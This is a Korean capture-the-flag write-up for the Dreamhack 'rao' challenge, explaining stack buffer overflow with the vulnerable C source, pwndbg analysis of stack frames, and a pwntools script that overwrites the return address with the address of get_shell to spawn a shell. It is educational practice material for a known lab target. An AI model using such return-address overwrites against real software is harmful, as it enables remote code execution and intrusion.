https://dreamhack.io/wargame/challenges/351
스택 버퍼 오버플로우
미리 만들어 놓은 버퍼를 초과해서 의도치 않게 동작을 수행하게 만드는 것
- 예를 들어 참이면 flag파일을 읽는 함수에 입력받을 문자열 (char 배열) 20바이트 + int형 변수 하나 4바이트+ char형 참/거짓 1바이트인 총 25바이트 저장 공간을 만들었다고 가정한다.
- 입력 문자열 20바이트 이내만 저장하도록 검사를 안하면 24바이트는 아무의미 없는 값을 넣고 마지막 bool형에 참(1)을 넣으면 flag파일을 읽을 수 있다.
문제 설명

문제 파일
rao(실행 파일), rao.c(소스코드)
문제 풀이
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main() {
char buf[0x28];
init();
printf("Input: ");
scanf("%s", buf);
return 0;
}
- init() : file descriptor에 버퍼를 사용하지 않겠다. ⇒ 무시해도 좋음
- get_shell() : 쉘을 실행시킴 ⇒ 이 함수를 실행시키면됨
- main() : 사용자에게 입력받음
pwndbg 동적 분석 사용
gdb rao

- 스택 프레임 알아보기 ⇒ https://jiravvit.tistory.com/entry/스택-프레임-Stack-Frame
- 스택 프레임에서 궁금했던 것
- Return address를 감안하여 스택 프레임을 생성해야 하나?
- 그럴 필요없음 함수를 call하면 rsp가 자동으로 값을 뺌 ⇒ 자동 조정
- call ⇒ jmp 이동할 곳 + rsp - 0x8 또는 0x4 == Return address 자동생성
- 블로그에선 mov %rsp, %rbp이고 여기선 mov rbp, rsp인가?
- 문법의 차이 ⇒ Intel(현재 이미지)이냐 at&t(블로그)이냐
- 어셈블리어 함수 프롤로그 : 스택 프레임 생성 예시)
- push rbp : 이전의 rbp
- mov rbp, rsp : rbp를 스택의 최상단을 가르키도록 변경
- sub rsp, 0x30 : 사용할 공간 세팅 ⇒ 0x30 만큼 사용하겠다.
- rsp - 0x30 하는 이유 스택은 높은 주소에서 낮은주소로 쌓임 ⇒ 빼는 것이 공간생성 더하는 것이 공간 비움

- 어셈블리어 함수 에필로그 예시)
- leave : mov rsp, rbp + pop rbp ⇒ 스택 공간 정리 (스택의 최상단을 스택 프레임의 하단으로 보냄 + rbp를 이전의 rbp로 복구함)
- ret : pop rip + jmp rip ⇒ 리턴 어드레스로 다음 명령어로 이동
중요!


- lea rax, [rbp - 0x30] : rax에 rbp - 0x30한 주소 저장 (현재 값은 0)
- mov rsi, rax : rsi에 rax값을 저장 ⇒ scanf의 두번째 인자 rsi (입력받은 데이터를 저장할 곳)
- lea rdi, [rip + 0xab] : scanf의 첫번째 인자

- 스택 영역을 보면 rbp-0x30에 값이 저장된 모습
- rbp + 0x8 에 return address가 있는 모습
⇒ 스택의 return address에 원하는 값을 넣으면 됨
- 0x30 + 0x8 + 원하는 값을 입력
- 원하는 값은 get_shell() 함수 주소

from pwn import *
p = remote('주소', '포트')
payload = b"a" * 0x30 + b"b" * 0x8;
payload += p64(0x4006aa)
p.recvuntil('Input: ')
p.sendline(payload)
p.interactive()
~
결과

정리
프로그램 분석 ⇒ 입력 받을 데이터를 검증하지 않은 것을 발견 ⇒ STACK BUFFER OVERFLOW 사용 ⇒ 디버거를 통한 동적 분석 ⇒ 우리가 입력한 데이터를 저장하는 곳과 Return address 의 거리를 파악 ⇒ EXPOLIT!